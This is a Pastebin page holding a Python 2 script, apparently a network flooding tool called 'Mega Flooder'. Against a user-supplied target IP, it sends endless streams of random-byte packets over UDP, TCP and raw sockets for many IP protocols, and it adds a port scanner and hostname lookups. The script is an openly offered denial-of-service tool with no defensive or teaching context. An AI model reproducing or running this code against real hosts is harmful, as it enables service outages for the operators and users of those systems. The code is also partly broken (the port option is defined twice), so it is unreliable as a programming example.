Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import optparse
- import socket
- import os
- import random
- import time
- import sys
- if __name__=="__main__":
- usage=("""
- usage: %prog [options]
- @@@@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@
- @@@@@@@@@@@ @@@@@@@@ @@@@@@@@@ @@@@@@@@
- @@! @@! @@! @@! !@@ @@! @@@
- !@! !@! !@! !@! !@! !@! @!@
- @!! !!@ @!@ @!!!:! !@! @!@!@ @!@!@!@! @!@!@!@!@
- !@! ! !@! !!!!!: !!! !!@!! !!!@!!!! !!!@!@!!!
- !!: !!: !!: :!! !!: !!: !!!
- :!: :!: :!: :!: !:: :!: !:!
- ::: :: :: :::: ::: :::: :: :::
- : : : :: :: :: :: : : : :
- @@@@@@@@ @@@ @@@@@@ @@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@
- @@@@@@@@ @@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@
- @@! @@! @@! @@@ @@! @@@ @@! @@@ @@! @@! @@@
- !@! !@! !@! @!@ !@! @!@ !@! @!@ !@! !@! @!@
- @!!!:! @!! @!@ !@! @!@ !@! @!@ !@! @!!!:! @!@!!@!
- !!!!!: !!! !@! !!! !@! !!! !@! !!! !!!!!: !!@!@!
- !!: !!: !!: !!! !!: !!! !!: !!! !!: !!: :!!
- :!: :!: :!: !:! :!: !:! :!: !:! :!: :!: !:!
- :: :: :::: ::::: :: ::::: :: :::: :: :: :::: :: :::
- : : :: : : : : : : : : :: : : : :: :: : : :""")
- parser=optparse.OptionParser(usage)
- parser.add_option("-u", "--UDP",help="UDP")
- parser.add_option("-t", "--TCP",help="TCP")
- parser.add_option("-a", "--ICMP",help="ICMP")
- parser.add_option("-c", "--IGMP",help="IGMP")
- parser.add_option("-d", "--IPIP",help="IPIP")
- parser.add_option("-e", "--EGP",help="EGP")
- parser.add_option("-f", "--PUP",help="PUP")
- parser.add_option("-g", "--RSVP",help="RSVP")
- parser.add_option("-z", "--IDP",help="XNS IDP")
- parser.add_option("-j", "--GRE",help="Cisco GRE Tunnels")
- parser.add_option("-k","--RAW",help="Raw Packets")
- parser.add_option("-l","--UDPL",help="UDP Lite")
- parser.add_option("-m","--PIM",help="PIM")
- parser.add_option("-o", "--ESP",help="ESP")
- parser.add_option("-q", "--IPV6",help="IPv6 in IPv4 Tunneling")
- parser.add_option("-p", "--port",help="Port of attack",type="int",dest="port",default=None)
- parser.add_option("-i", "--ip",help="Target IP",type="string",dest="ip")
- parser.add_option("-b", "--bytes",help="Size of data in bytes. The larger the size, the slower the send speed.",type="int")
- parser.add_option("-s","--sleeper",help="Alter the intensity by altering how long the program sleeps in between sending. Too high will time it out. Standard=0.01")
- parser.add_option("-w","--SCAN",help="Domain to port scan",dest="SCAN")
- parser.add_option("-y","--HOST",help="Get host name. Enter domain")
- parser.add_option("-p","--port",help="Port to flood",type="int",dest="port")
- parser.add_option("-n","--CONVERT",help="Convert ip to domain name")
- options, args = parser.parse_args()
- if options.UDP:
- sent=0
- sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
- ip=options.ip
- while True:
- port=random.randint(15,1024)
- bytes=os.urandom(options.bytes)
- try:
- sock.sendto(bytes,(ip,port))
- print("Sent %s UDP packets to %s at port %s") % (sent,ip,port)
- time.sleep(float(options.sleeper))
- sent=sent+1
- except KeyboardInterrupt:
- break
- elif options.TCP:
- sent=0
- sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- ip=options.ip
- port=random.randint(15,1025)
- addr=((ip,port))
- sock.connect(addr)
- sock.settimeout(None)
- while True:
- bytes=os.urandom(options.bytes)
- port=random.randint(15,1024)
- try:
- sock.sendto(bytes,(addr))
- print("Sent %s packets to %s at port %s ") % (sent,ip,port)
- sent=sent+1
- except socket.error:
- print "The host has closed the connection. Please run the program again."
- break
- elif options.ICMP:
- sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP)
- ip=options.ip
- port=random.randint(15,1025)
- addr=(ip,port)
- sock.connect(addr)
- sock.settimeout(None)
- sent=0
- while True:
- bytes=os.urandom(options.bytes)
- port=random.randint(15,1024)
- try:
- sock.sendto(bytes,(addr))
- print("Sent %s packets to %s at port %s ") % (sent,ip,port)
- sent=sent+1
- except socket.error:
- print "The host has closed the connection. Please run the program again."
- break
- elif options.IGMP:
- sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_IGMP)
- ip=options.ip
- port=random.randint(15,1025)
- addr=(ip,port)
- sock.connect(addr)
- sock.settimeout(None)
- sent=0
- while True:
- bytes=os.urandom(options.bytes)
- port=random.randint(15,1024)
- try:
- sock.sendto(bytes,(addr))
- print("Sent %s packets to %s at port %s ") % (sent,ip,port)
- sent=sent+1
- except socket.error:
- print "The host has closed the connection. Please run the program again."
- break
- elif options.IPIP:
- sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_IPIP)
- ip=options.ip
- port=random.randint(15,1025)
- addr=(ip,port)
- sock.connect(addr)
- sock.settimeout(None)
- sent=0
- while True:
- bytes=os.urandom(options.bytes)
- port=random.randint(15,1024)
- try:
- sock.sendto(bytes,(addr))
- print("Sent %s packets to %s at port %s ") % (sent,ip,port)
- sent=sent+1
- except socket.error:
- print "The host has closed the connection. Please run the program again."
- break
- elif options.EGP:
- sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_EGP)
- ip=options.ip
- port=random.randint(15,1025)
- addr=(ip,port)
- sock.connect(addr)
- sock.settimeout(None)
- sent=0
- while True:
- bytes=os.urandom(options.bytes)
- port=random.randint(15,1025)
- try:
- sock.sendto(bytes,(addr))
- print("Sent %s packets to %s at port %s ") % (sent,ip,port)
- sent=sent+1
- except socket.error:
- print "The host has closed the connection. Please run the program again."
- break
- elif options.PUP:
- sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_PUP)
- ip=options.ip
- port=random.randint(15,1025)
- addr=(ip,port)
- sock.connect(addr)
- sock.settimeout(None)
- sent=0
- while True:
- bytes=os.urandom(options.bytes)
- port=random.randint(15,1024)
- try:
- sock.sendto(bytes,(addr))
- print("Sent %s packets to %s at port %s ") % (sent,ip,port)
- sent=sent+1
- except socket.error:
- print "The host has closed the connection. Please run the program again."
- break
- elif options.RSVP:
- sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_RSVP)
- ip=options.ip
- port=random.randint(15,1025)
- addr=(ip,port)
- sock.connect(addr)
- sock.settimeout(None)
- sent=0
- while True:
- bytes=os.urandom(options.bytes)
- port=random.randint(15,1024)
- try:
- sock.sendto(bytes,(addr))
- print("Sent %s packets to %s at port %s ") % (sent,ip,port)
- sent=sent+1
- except socket.error:
- print "The host has closed the connection. Please run the program again."
- break
- elif options.IDP:
- sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_IDP)
- ip=options.ip
- port=random.randint(15,1025)
- addr=(ip,port)
- sock.connect(addr)
- sock.settimeout(None)
- sent=0
- while True:
- bytes=os.urandom(options.bytes)
- port=random.randint(15,1024)
- try:
- sock.sendto(bytes,(addr))
- print("Sent %s packets to %s at port %s ") % (sent,ip,port)
- sent=sent+1
- except socket.error:
- print "The host has closed the connection. Please run the program again."
- break
- elif options.GRE:
- sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_GRE)
- ip=options.ip
- port=random.randint(15,1025)
- addr=(ip,port)
- sock.connect(addr)
- sock.settimeout(None)
- sent=0
- while True:
- bytes=os.urandom(options.bytes)
- port=random.randint(15,1024)
- try:
- sock.sendto(bytes,(addr))
- print("Sent %s packets to %s at port %s ") % (sent,ip,port)
- sent=sent+1
- except socket.error:
- print "The host has closed the connection. Please run the program again."
- break
- elif options.RAW:
- sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_RAW)
- ip=options.ip
- port=random.randint(15,1025)
- addr=(ip,port)
- sock.connect(addr)
- sock.settimeout(None)
- sent=0
- while True:
- bytes=os.urandom(options.bytes)
- port=random.randint(15,1024)
- try:
- sock.sendto(bytes,(addr))
- print("Sent %s packets to %s at port %s ") % (sent,ip,port)
- sent=sent+1
- except socket.error:
- print "The host has closed the connection. Please run the program again."
- break
- elif options.IPV6:
- sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_IPV6)
- ip=options.ip
- port=random.randint(15,1025)
- addr=(ip,port)
- sock.connect(addr)
- sock.settimeout(None)
- sent=0
- while True:
- bytes=os.urandom(options.bytes)
- port=random.randint(15,1024)
- try:
- sock.sendto(bytes,(addr))
- print("Sent %s packets to %s at port %s ") % (sent,ip,port)
- sent=sent+1
- except socket.error:
- print "The host has closed the connection. Please run the program again."
- break
- elif options.ESP:
- sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ESP)
- ip=options.ip
- port=random.randint(15,1025)
- addr=(ip,port)
- sock.connect(addr)
- sock.settimeout(None)
- sent=0
- while True:
- bytes=os.urandom(options.bytes)
- port=random.randint(15,1024)
- try:
- sock.sendto(bytes,(addr))
- print("Sent %s packets to %s at port %s ") % (sent,ip,port)
- sent=sent+1
- except socket.error:
- print "The host has closed the connection. Please run the program again."
- break
- elif options.PIM:
- sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_PIM)
- ip=options.ip
- port=random.randint(15,1025)
- addr=(ip,port)
- sock.connect(addr)
- sock.settimeout(None)
- sent=0
- while True:
- bytes=os.urandom(options.bytes)
- port=random.randint(15,1024)
- try:
- sock.sendto(bytes,(addr))
- print("Sent %s packets to %s at port %s ") % (sent,ip,port)
- sent=sent+1
- except socket.error:
- print "The host has closed the connection. Please run the program again."
- break
- elif options.UDPL:
- sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_UDP)
- ip=options.ip
- port=random.randint(15,1025)
- addr=(ip,port)
- sock.connect(addr)
- sock.settimeout(None)
- sent=0
- while True:
- bytes=os.urandom(options.bytes)
- port=random.randint(15,1024)
- try:
- sock.sendto(bytes,(addr))
- print("Sent %s packets to %s at port %s ") % (sent,ip,port)
- sent=sent+1
- except socket.error:
- print "The host has closed the connection. Please run the program again."
- break
- elif options.SCAN:
- target = options.SCAN
- targetIP = socket.gethostbyname(target)
- print 'Scanning ', targetIP, "for open ports..."
- for i in range(20, 1025):
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- result = sock.connect_ex((targetIP,i))
- if(result==0) :
- print "Port %d: OPEN" % (i,)
- sock.close()
- elif options.HOST:
- target=str(options.HOST)
- TGT_IP=socket.gethostbyname(target)
- print "The IP of %s is %s" % (target,TGT_IP)
- elif options.CONVERT:
- target=str(options.CONVERT)
- TGT_DMN=socket.gethostbyaddr(target)
- print "The domain name of %s is %s" % (target,TGT_DMN)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement